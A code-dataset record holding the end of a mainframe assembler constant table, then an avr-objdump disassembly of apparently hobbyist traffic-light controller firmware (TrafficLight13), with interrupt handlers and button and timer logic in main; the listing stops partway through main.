AL3(0) DC AL4(2680) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003C0' DC ADL8(@DATA) DC X'00000000' DC X'00000552' * DC XL1'D' DC AL3(0) DC AL4(2720) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003C8' DC ADL8(@DATA) DC X'00000000' DC X'0000055E' * DC XL1'D' DC AL3(0) DC AL4(2760) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003D0' DC ADL8(@DATA) DC X'00000000' DC X'00000576' * DC XL1'D' DC AL3(0) DC AL4(2800) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003D8' DC ADL8(@DATA) DC X'00000000' DC X'0000058C' * DC XL1'D' DC AL3(0) DC AL4(2840) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003E0' DC ADL8(@DATA) DC X'00000000' DC X'000005A2' * DC XL1'D' DC AL3(0) DC AL4(2880) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003E8' DC ADL8(@DATA) DC X'00000000' DC X'000005B2' * DC XL1'D' DC AL3(0) DC AL4(2920) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000003F0' DC ADL8(@DATA) DC X'00000000' DC X'000005C8' * DC XL1'D' DC AL3(0) DC AL4(2960) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004C0' DC ADL8(@DATA) DC X'00000000' DC X'000005D8' * DC XL1'D' DC AL3(0) DC AL4(3000) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004C8' DC ADL8(@DATA) DC X'00000000' DC X'000005DE' * DC XL1'D' DC AL3(0) DC AL4(3040) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004D0' DC ADL8(@DATA) DC X'00000000' DC X'000005E4' * DC XL1'D' DC AL3(0) DC AL4(3080) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004D8' DC ADL8(@DATA) DC X'00000000' DC X'000005EC' * DC XL1'D' DC AL3(0) DC AL4(3120) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004E0' DC ADL8(@DATA) DC X'00000000' DC X'000005F0' * DC XL1'D' DC AL3(0) DC AL4(3160) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000004E8' DC ADL8(@DATA) DC X'00000000' DC X'000005F6' * DC XL1'D' DC AL3(0) DC AL4(3200) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000510' DC ADL8(@DATA) DC X'00000000' DC X'000005FE' * DC XL1'D' DC AL3(0) DC AL4(3240) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000518' DC ADL8(@DATA) DC X'00000000' DC X'0000060A' * DC XL1'D' DC AL3(0) DC AL4(3280) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000520' DC ADL8(@DATA) DC X'00000000' DC X'00000612' * DC XL1'D' DC AL3(0) DC AL4(3320) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000528' DC ADL8(@DATA) DC X'00000000' DC X'0000061C' * DC XL1'D' DC AL3(0) DC AL4(3360) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000630' DC ADL8(@DATA) DC X'00000000' DC X'00000624' * DC XL1'D' DC AL3(0) DC AL4(3400) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000638' DC ADL8(@DATA) DC X'00000000' DC X'0000062A' * DC XL1'D' DC AL3(0) DC AL4(3440) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000640' DC ADL8(@DATA) DC X'00000000' DC X'00000634' * DC XL1'D' DC AL3(0) DC AL4(3480) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000648' DC ADL8(@DATA) DC X'00000000' DC X'00000640' * DC XL1'D' DC AL3(0) DC AL4(3520) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000650' DC ADL8(@DATA) DC X'00000000' DC X'0000064C' * DC XL1'D' DC AL3(0) DC AL4(3560) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000658' DC ADL8(@DATA) DC X'00000000' DC X'0000065A' * DC XL1'D' DC AL3(0) DC AL4(3600) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000660' DC ADL8(@DATA) DC X'00000000' DC X'00000662' * DC XL1'D' DC AL3(0) DC AL4(3640) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000668' DC ADL8(@DATA) DC X'00000000' DC X'0000066C' * DC XL1'D' DC AL3(0) DC AL4(3680) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000670' DC ADL8(@DATA) DC X'00000000' DC X'00000678' * DC XL1'D' DC AL3(0) DC AL4(3720) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000678' DC ADL8(@DATA) DC X'00000000' DC X'00000624' * DC XL1'D' DC AL3(0) DC AL4(3760) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000680' DC ADL8(@DATA) DC X'00000000' DC X'0000065A' * DC XL1'D' DC AL3(0) DC AL4(3800) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000688' DC ADL8(@DATA) DC X'00000000' DC X'00000682' * DC XL1'D' DC AL3(0) DC AL4(3840) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000690' DC ADL8(@DATA) DC X'00000000' DC X'00000690' * DC XL1'D' DC AL3(0) DC AL4(3880) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'00000698' DC ADL8(@DATA) DC X'00000000' DC X'00000696' * DC XL1'D' DC AL3(0) DC AL4(3920) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006A0' DC ADL8(@DATA) DC X'00000000' DC X'000006A4' * DC XL1'D' DC AL3(0) DC AL4(3960) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006A8' DC ADL8(@DATA) DC X'00000000' DC X'000006B0' * DC XL1'D' DC AL3(0) DC AL4(4000) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006B0' DC ADL8(@DATA) DC X'00000000' DC X'000006C6' * DC XL1'D' DC AL3(0) DC AL4(4040) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006B8' DC ADL8(@DATA) DC X'00000000' DC X'000006D6' * DC XL1'D' DC AL3(0) DC AL4(4080) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006C0' DC ADL8(@DATA) DC X'00000000' DC X'000006EA' * DC XL1'D' DC AL3(0) DC AL4(4120) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006C8' DC ADL8(@DATA) DC X'00000000' DC X'000006FA' * DC XL1'D' DC AL3(0) DC AL4(0) DC 4X'00' DC Q(@@STATIC) DC X'00000000' DC X'000006D0' DC ADL8(@DATA) DC X'00000000' DC X'00000634' * END
28.156366
72
0.457741
fb38d52de3b80a0a748d7e0dd234535e10876a6d
37,374
asm
Assembly
docs/asm/TrafficLight13-O0.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
10
2019-03-06T18:39:02.000Z
2021-10-07T23:52:52.000Z
docs/asm/TrafficLight13-O0.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
1
2019-03-05T18:18:09.000Z
2019-03-10T16:36:40.000Z
docs/asm/TrafficLight13-O0.asm
lugovskovp/TrafficLight13
0e76ec82a16038ea1775f1b477437f05f5416bf0
[ "MIT" ]
2
2020-08-09T20:44:46.000Z
2020-09-23T03:28:04.000Z
./Release/TrafficLight13.elf: file format elf32-avr Disassembly of section .text: 00000000 <__vectors>: 0: 39 c0 rjmp .+114 ; 0x74 <__ctors_end> 2: 67 c0 rjmp .+206 ; 0xd2 <__vector_1> 4: 45 c0 rjmp .+138 ; 0x90 <__bad_interrupt> 6: 45 c0 rjmp .+138 ; 0x92 <__vector_3> 8: 43 c0 rjmp .+134 ; 0x90 <__bad_interrupt> a: 42 c0 rjmp .+132 ; 0x90 <__bad_interrupt> c: 41 c0 rjmp .+130 ; 0x90 <__bad_interrupt> e: 40 c0 rjmp .+128 ; 0x90 <__bad_interrupt> 10: 3f c0 rjmp .+126 ; 0x90 <__bad_interrupt> 12: 3e c0 rjmp .+124 ; 0x90 <__bad_interrupt> 00000014 <__trampolines_end>: 14: 18 08 sbc r1, r8 16: 00 00 nop 18: 00 00 nop 1a: b9 00 .word 0x00b9 ; ???? 1c: 08 08 sbc r0, r8 1e: 18 08 sbc r1, r8 20: 09 00 .word 0x0009 ; ???? 22: 6f 00 .word 0x006f ; ???? 24: 09 09 sbc r16, r9 26: 00 00 nop 28: 00 00 nop 2a: 25 00 .word 0x0025 ; ???? 2c: 0d 0d add r16, r13 2e: 00 00 nop 30: 00 00 nop 32: 4a 00 .word 0x004a ; ???? 34: 18 10 cpse r1, r8 36: 00 00 nop 38: 00 00 nop 3a: 03 01 movw r0, r6 3c: 18 10 cpse r1, r8 3e: 08 00 .word 0x0008 ; ???? 40: 09 00 .word 0x0009 ; ???? 42: 6f 00 .word 0x006f ; ???? 44: 0c 04 cpc r0, r12 46: 00 00 nop 48: 00 00 nop 4a: 25 00 .word 0x0025 ; ???? 4c: 0d 05 cpc r16, r13 4e: 00 00 nop 50: 00 00 nop 52: 4a 00 .word 0x004a ; ???? 54: 05 05 cpc r16, r5 56: 05 00 .word 0x0005 ; ???? 58: 25 00 .word 0x0025 ; ???? ... 62: 00 00 nop 64: 1c 0c add r1, r12 66: 19 11 cpse r17, r9 68: 01 00 .word 0x0001 ; ???? 6a: 25 00 .word 0x0025 ; ???? 6c: 14 04 cpc r1, r4 6e: 11 11 cpse r17, r1 70: 01 00 .word 0x0001 ; ???? ... 00000074 <__ctors_end>: 74: 11 24 eor r1, r1 76: 1f be out 0x3f, r1 ; 63 78: cf e9 ldi r28, 0x9F ; 159 7a: cd bf out 0x3d, r28 ; 61 0000007c <__do_clear_bss>: 7c: 20 e0 ldi r18, 0x00 ; 0 7e: a0 e6 ldi r26, 0x60 ; 96 80: b0 e0 ldi r27, 0x00 ; 0 82: 01 c0 rjmp .+2 ; 0x86 <.do_clear_bss_start> 00000084 <.do_clear_bss_loop>: 84: 1d 92 st X+, r1 00000086 <.do_clear_bss_start>: 86: a8 36 cpi r26, 0x68 ; 104 88: b2 07 cpc r27, r18 8a: e1 f7 brne .-8 ; 0x84 <.do_clear_bss_loop> 8c: 6d d0 rcall .+218 ; 0x168 <main> 8e: b1 c3 rjmp .+1890 ; 0x7f2 <_exit> 00000090 <__bad_interrupt>: 90: b7 cf rjmp .-146 ; 0x0 <__vectors> 00000092 <__vector_3>: 92: 1f 92 push r1 94: 0f 92 push r0 96: 00 90 5f 00 lds r0, 0x005F ; 0x80005f <__EEPROM_REGION_LENGTH__+0x7f005f> 9a: 0f 92 push r0 9c: 11 24 eor r1, r1 9e: 8f 93 push r24 a0: 9f 93 push r25 a2: cf 93 push r28 a4: df 93 push r29 a6: cd b7 in r28, 0x3d ; 61 a8: dd 27 eor r29, r29 aa: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> ae: 90 91 61 00 lds r25, 0x0061 ; 0x800061 <_edata+0x1> b2: 01 96 adiw r24, 0x01 ; 1 b4: 90 93 61 00 sts 0x0061, r25 ; 0x800061 <_edata+0x1> b8: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> bc: 00 00 nop be: df 91 pop r29 c0: cf 91 pop r28 c2: 9f 91 pop r25 c4: 8f 91 pop r24 c6: 0f 90 pop r0 c8: 00 92 5f 00 sts 0x005F, r0 ; 0x80005f <__EEPROM_REGION_LENGTH__+0x7f005f> cc: 0f 90 pop r0 ce: 1f 90 pop r1 d0: 18 95 reti 000000d2 <__vector_1>: d2: 1f 92 push r1 d4: 0f 92 push r0 d6: 00 90 5f 00 lds r0, 0x005F ; 0x80005f <__EEPROM_REGION_LENGTH__+0x7f005f> da: 0f 92 push r0 dc: 11 24 eor r1, r1 de: 2f 93 push r18 e0: 3f 93 push r19 e2: 8f 93 push r24 e4: 9f 93 push r25 e6: ef 93 push r30 e8: ff 93 push r31 ea: cf 93 push r28 ec: df 93 push r29 ee: cd b7 in r28, 0x3d ; 61 f0: dd 27 eor r29, r29 f2: 8b e5 ldi r24, 0x5B ; 91 f4: 90 e0 ldi r25, 0x00 ; 0 f6: 2b e5 ldi r18, 0x5B ; 91 f8: 30 e0 ldi r19, 0x00 ; 0 fa: f9 01 movw r30, r18 fc: 20 81 ld r18, Z fe: 2f 7b andi r18, 0xBF ; 191 100: fc 01 movw r30, r24 102: 20 83 st Z, r18 104: 8a e5 ldi r24, 0x5A ; 90 106: 90 e0 ldi r25, 0x00 ; 0 108: 2a e5 ldi r18, 0x5A ; 90 10a: 30 e0 ldi r19, 0x00 ; 0 10c: f9 01 movw r30, r18 10e: 20 81 ld r18, Z 110: 2f 7b andi r18, 0xBF ; 191 112: fc 01 movw r30, r24 114: 20 83 st Z, r18 116: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 11a: 82 60 ori r24, 0x02 ; 2 11c: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 120: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 124: 81 60 ori r24, 0x01 ; 1 126: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 12a: 10 92 61 00 sts 0x0061, r1 ; 0x800061 <_edata+0x1> 12e: 10 92 60 00 sts 0x0060, r1 ; 0x800060 <_edata> 132: 10 92 62 00 sts 0x0062, r1 ; 0x800062 <scan_button_cnt> 136: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 13a: 8f 7b andi r24, 0xBF ; 191 13c: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 140: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 144: 8f 77 andi r24, 0x7F ; 127 146: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 14a: 00 00 nop 14c: df 91 pop r29 14e: cf 91 pop r28 150: ff 91 pop r31 152: ef 91 pop r30 154: 9f 91 pop r25 156: 8f 91 pop r24 158: 3f 91 pop r19 15a: 2f 91 pop r18 15c: 0f 90 pop r0 15e: 00 92 5f 00 sts 0x005F, r0 ; 0x80005f <__EEPROM_REGION_LENGTH__+0x7f005f> 162: 0f 90 pop r0 164: 1f 90 pop r1 166: 18 95 reti 00000168 <main>: 168: cf 93 push r28 16a: df 93 push r29 16c: 1f 92 push r1 16e: cd b7 in r28, 0x3d ; 61 170: dd 27 eor r29, r29 172: 85 e5 ldi r24, 0x55 ; 85 174: 90 e0 ldi r25, 0x00 ; 0 176: 25 e5 ldi r18, 0x55 ; 85 178: 30 e0 ldi r19, 0x00 ; 0 17a: f9 01 movw r30, r18 17c: 20 81 ld r18, Z 17e: 27 7e andi r18, 0xE7 ; 231 180: fc 01 movw r30, r24 182: 20 83 st Z, r18 184: 85 e5 ldi r24, 0x55 ; 85 186: 90 e0 ldi r25, 0x00 ; 0 188: 25 e5 ldi r18, 0x55 ; 85 18a: 30 e0 ldi r19, 0x00 ; 0 18c: f9 01 movw r30, r18 18e: 20 81 ld r18, Z 190: 20 62 ori r18, 0x20 ; 32 192: fc 01 movw r30, r24 194: 20 83 st Z, r18 196: 17 d3 rcall .+1582 ; 0x7c6 <_Z16init_timer_clockv> 198: 10 92 61 00 sts 0x0061, r1 ; 0x800061 <_edata+0x1> 19c: 10 92 60 00 sts 0x0060, r1 ; 0x800060 <_edata> 1a0: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 1a4: 8d 7f andi r24, 0xFD ; 253 1a6: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 1aa: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 1ae: 8e 7f andi r24, 0xFE ; 254 1b0: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 1b4: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 1b8: 80 62 ori r24, 0x20 ; 32 1ba: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 1be: 10 92 62 00 sts 0x0062, r1 ; 0x800062 <scan_button_cnt> 1c2: 8a e0 ldi r24, 0x0A ; 10 1c4: 89 83 std Y+1, r24 ; 0x01 1c6: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 1ca: 84 60 ori r24, 0x04 ; 4 1cc: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 1d0: 78 94 sei 1d2: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 1d6: 90 91 61 00 lds r25, 0x0061 ; 0x800061 <_edata+0x1> 1da: 89 2f mov r24, r25 1dc: 88 1f adc r24, r24 1de: 88 27 eor r24, r24 1e0: 88 1f adc r24, r24 1e2: 88 23 and r24, r24 1e4: 51 f1 breq .+84 ; 0x23a <main+0xd2> 1e6: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 1ea: 90 91 61 00 lds r25, 0x0061 ; 0x800061 <_edata+0x1> 1ee: 8f 5f subi r24, 0xFF ; 255 1f0: 9f 47 sbci r25, 0x7F ; 127 1f2: 90 93 61 00 sts 0x0061, r25 ; 0x800061 <_edata+0x1> 1f6: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 1fa: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 1fe: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 202: 89 2b or r24, r25 204: 51 f0 breq .+20 ; 0x21a <main+0xb2> 206: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 20a: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 20e: 8f 5f subi r24, 0xFF ; 255 210: 9f 47 sbci r25, 0x7F ; 127 212: 90 93 64 00 sts 0x0064, r25 ; 0x800064 <tl_flash_end+0x1> 216: 80 93 63 00 sts 0x0063, r24 ; 0x800063 <tl_flash_end> 21a: 80 91 65 00 lds r24, 0x0065 ; 0x800065 <tl_signal_end> 21e: 90 91 66 00 lds r25, 0x0066 ; 0x800066 <tl_signal_end+0x1> 222: 89 2b or r24, r25 224: 51 f0 breq .+20 ; 0x23a <main+0xd2> 226: 80 91 65 00 lds r24, 0x0065 ; 0x800065 <tl_signal_end> 22a: 90 91 66 00 lds r25, 0x0066 ; 0x800066 <tl_signal_end+0x1> 22e: 8f 5f subi r24, 0xFF ; 255 230: 9f 47 sbci r25, 0x7F ; 127 232: 90 93 66 00 sts 0x0066, r25 ; 0x800066 <tl_signal_end+0x1> 236: 80 93 65 00 sts 0x0065, r24 ; 0x800065 <tl_signal_end> 23a: 86 e3 ldi r24, 0x36 ; 54 23c: 90 e0 ldi r25, 0x00 ; 0 23e: fc 01 movw r30, r24 240: 80 81 ld r24, Z 242: 88 2f mov r24, r24 244: 90 e0 ldi r25, 0x00 ; 0 246: 82 70 andi r24, 0x02 ; 2 248: 99 27 eor r25, r25 24a: 21 e0 ldi r18, 0x01 ; 1 24c: 89 2b or r24, r25 24e: 09 f0 breq .+2 ; 0x252 <main+0xea> 250: 20 e0 ldi r18, 0x00 ; 0 252: 22 23 and r18, r18 254: b9 f0 breq .+46 ; 0x284 <main+0x11c> 256: 80 91 62 00 lds r24, 0x0062 ; 0x800062 <scan_button_cnt> 25a: 8f 5f subi r24, 0xFF ; 255 25c: 80 93 62 00 sts 0x0062, r24 ; 0x800062 <scan_button_cnt> 260: 80 91 62 00 lds r24, 0x0062 ; 0x800062 <scan_button_cnt> 264: 85 30 cpi r24, 0x05 ; 5 266: 28 f0 brcs .+10 ; 0x272 <main+0x10a> 268: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 26c: 80 64 ori r24, 0x40 ; 64 26e: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 272: 80 91 62 00 lds r24, 0x0062 ; 0x800062 <scan_button_cnt> 276: 85 32 cpi r24, 0x25 ; 37 278: 28 f0 brcs .+10 ; 0x284 <main+0x11c> 27a: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 27e: 80 68 ori r24, 0x80 ; 128 280: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 284: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 288: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 28c: 89 2b or r24, r25 28e: 29 f1 breq .+74 ; 0x2da <main+0x172> 290: 20 91 60 00 lds r18, 0x0060 ; 0x800060 <_edata> 294: 30 91 61 00 lds r19, 0x0061 ; 0x800061 <_edata+0x1> 298: 80 91 63 00 lds r24, 0x0063 ; 0x800063 <tl_flash_end> 29c: 90 91 64 00 lds r25, 0x0064 ; 0x800064 <tl_flash_end+0x1> 2a0: 41 e0 ldi r20, 0x01 ; 1 2a2: 82 17 cp r24, r18 2a4: 93 07 cpc r25, r19 2a6: 08 f0 brcs .+2 ; 0x2aa <main+0x142> 2a8: 40 e0 ldi r20, 0x00 ; 0 2aa: 44 23 and r20, r20 2ac: b1 f0 breq .+44 ; 0x2da <main+0x172> 2ae: 90 91 67 00 lds r25, 0x0067 ; 0x800067 <f_button_state_flags> 2b2: 80 e2 ldi r24, 0x20 ; 32 2b4: 89 27 eor r24, r25 2b6: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 2ba: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 2be: 88 2f mov r24, r24 2c0: 90 e0 ldi r25, 0x00 ; 0 2c2: 80 72 andi r24, 0x20 ; 32 2c4: 99 27 eor r25, r25 2c6: 21 e0 ldi r18, 0x01 ; 1 2c8: 89 2b or r24, r25 2ca: 09 f4 brne .+2 ; 0x2ce <main+0x166> 2cc: 20 e0 ldi r18, 0x00 ; 0 2ce: 62 2f mov r22, r18 2d0: 89 81 ldd r24, Y+1 ; 0x01 2d2: 8c d1 rcall .+792 ; 0x5ec <_Z8setPortshb> 2d4: 60 e0 ldi r22, 0x00 ; 0 2d6: 89 81 ldd r24, Y+1 ; 0x01 2d8: fb d1 rcall .+1014 ; 0x6d0 <_Z10setPeriodshb> 2da: 80 91 65 00 lds r24, 0x0065 ; 0x800065 <tl_signal_end> 2de: 90 91 66 00 lds r25, 0x0066 ; 0x800066 <tl_signal_end+0x1> 2e2: 89 2b or r24, r25 2e4: 19 f1 breq .+70 ; 0x32c <main+0x1c4> 2e6: 20 91 60 00 lds r18, 0x0060 ; 0x800060 <_edata> 2ea: 30 91 61 00 lds r19, 0x0061 ; 0x800061 <_edata+0x1> 2ee: 80 91 65 00 lds r24, 0x0065 ; 0x800065 <tl_signal_end> 2f2: 90 91 66 00 lds r25, 0x0066 ; 0x800066 <tl_signal_end+0x1> 2f6: 82 17 cp r24, r18 2f8: 93 07 cpc r25, r19 2fa: 50 f4 brcc .+20 ; 0x310 <main+0x1a8> 2fc: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 300: 88 2f mov r24, r24 302: 90 e0 ldi r25, 0x00 ; 0 304: 80 72 andi r24, 0x20 ; 32 306: 99 27 eor r25, r25 308: 89 2b or r24, r25 30a: 11 f0 breq .+4 ; 0x310 <main+0x1a8> 30c: 81 e0 ldi r24, 0x01 ; 1 30e: 01 c0 rjmp .+2 ; 0x312 <main+0x1aa> 310: 80 e0 ldi r24, 0x00 ; 0 312: 88 23 and r24, r24 314: 59 f0 breq .+22 ; 0x32c <main+0x1c4> 316: 89 81 ldd r24, Y+1 ; 0x01 318: 8f 5f subi r24, 0xFF ; 255 31a: 89 83 std Y+1, r24 ; 0x01 31c: 89 81 ldd r24, Y+1 ; 0x01 31e: 87 70 andi r24, 0x07 ; 7 320: 89 83 std Y+1, r24 ; 0x01 322: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 326: 84 60 ori r24, 0x04 ; 4 328: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 32c: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 330: 88 2f mov r24, r24 332: 90 e0 ldi r25, 0x00 ; 0 334: 83 70 andi r24, 0x03 ; 3 336: 99 27 eor r25, r25 338: 81 30 cpi r24, 0x01 ; 1 33a: 91 05 cpc r25, r1 33c: 09 f4 brne .+2 ; 0x340 <main+0x1d8> 33e: b9 c0 rjmp .+370 ; 0x4b2 <__LOCK_REGION_LENGTH__+0xb2> 340: 82 30 cpi r24, 0x02 ; 2 342: 91 05 cpc r25, r1 344: 24 f4 brge .+8 ; 0x34e <main+0x1e6> 346: 89 2b or r24, r25 348: 09 f4 brne .+2 ; 0x34c <main+0x1e4> 34a: 5e c0 rjmp .+188 ; 0x408 <__LOCK_REGION_LENGTH__+0x8> 34c: 1e c1 rjmp .+572 ; 0x58a <__LOCK_REGION_LENGTH__+0x18a> 34e: 82 30 cpi r24, 0x02 ; 2 350: 91 05 cpc r25, r1 352: 09 f4 brne .+2 ; 0x356 <main+0x1ee> 354: c8 c0 rjmp .+400 ; 0x4e6 <__LOCK_REGION_LENGTH__+0xe6> 356: 03 97 sbiw r24, 0x03 ; 3 358: 09 f0 breq .+2 ; 0x35c <main+0x1f4> 35a: 17 c1 rjmp .+558 ; 0x58a <__LOCK_REGION_LENGTH__+0x18a> 35c: 85 e5 ldi r24, 0x55 ; 85 35e: 90 e0 ldi r25, 0x00 ; 0 360: 25 e5 ldi r18, 0x55 ; 85 362: 30 e0 ldi r19, 0x00 ; 0 364: f9 01 movw r30, r18 366: 20 81 ld r18, Z 368: 27 7e andi r18, 0xE7 ; 231 36a: fc 01 movw r30, r24 36c: 20 83 st Z, r18 36e: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 372: 88 23 and r24, r24 374: a4 f4 brge .+40 ; 0x39e <main+0x236> 376: 89 81 ldd r24, Y+1 ; 0x01 378: 89 30 cpi r24, 0x09 ; 9 37a: 89 f4 brne .+34 ; 0x39e <main+0x236> 37c: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 380: 88 2f mov r24, r24 382: 90 e0 ldi r25, 0x00 ; 0 384: 80 71 andi r24, 0x10 ; 16 386: 99 27 eor r25, r25 388: 89 2b or r24, r25 38a: 11 f0 breq .+4 ; 0x390 <main+0x228> 38c: 88 e0 ldi r24, 0x08 ; 8 38e: 01 c0 rjmp .+2 ; 0x392 <main+0x22a> 390: 80 e0 ldi r24, 0x00 ; 0 392: 89 83 std Y+1, r24 ; 0x01 394: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 398: 84 60 ori r24, 0x04 ; 4 39a: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 39e: 86 e3 ldi r24, 0x36 ; 54 3a0: 90 e0 ldi r25, 0x00 ; 0 3a2: fc 01 movw r30, r24 3a4: 80 81 ld r24, Z 3a6: 88 2f mov r24, r24 3a8: 90 e0 ldi r25, 0x00 ; 0 3aa: 82 70 andi r24, 0x02 ; 2 3ac: 99 27 eor r25, r25 3ae: 21 e0 ldi r18, 0x01 ; 1 3b0: 89 2b or r24, r25 3b2: 09 f4 brne .+2 ; 0x3b6 <main+0x24e> 3b4: 20 e0 ldi r18, 0x00 ; 0 3b6: 22 23 and r18, r18 3b8: 09 f4 brne .+2 ; 0x3bc <main+0x254> 3ba: ef c0 rjmp .+478 ; 0x59a <__LOCK_REGION_LENGTH__+0x19a> 3bc: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3c0: 88 23 and r24, r24 3c2: 5c f4 brge .+22 ; 0x3da <main+0x272> 3c4: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3c8: 8d 7f andi r24, 0xFD ; 253 3ca: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 3ce: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3d2: 8e 7f andi r24, 0xFE ; 254 3d4: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 3d8: 0a c0 rjmp .+20 ; 0x3ee <main+0x286> 3da: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3de: 82 60 ori r24, 0x02 ; 2 3e0: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 3e4: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3e8: 8e 7f andi r24, 0xFE ; 254 3ea: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 3ee: 10 92 62 00 sts 0x0062, r1 ; 0x800062 <scan_button_cnt> 3f2: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 3f6: 8f 7b andi r24, 0xBF ; 191 3f8: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 3fc: 80 91 67 00 lds r24, 0x0067 ; 0x800067 <f_button_state_flags> 400: 8f 77 andi r24, 0x7F ; 127 402: 80 93 67 00 sts 0x0067, r24 ; 0x800067 <f_button_state_flags> 406: c9 c0 rjmp .+402 ; 0x59a <__LOCK_REGION_LENGTH__+0x19a> 408: 80 91 62 00 lds r24, 0x0062 ; 0x800062 <scan_button_cnt> 40c: 88 23 and r24, r24 40e: 09 f4 brne .+2 ; 0x412 <__LOCK_REGION_LENGTH__+0x12> 410: c6 c0 rjmp .+396 ; 0x59e 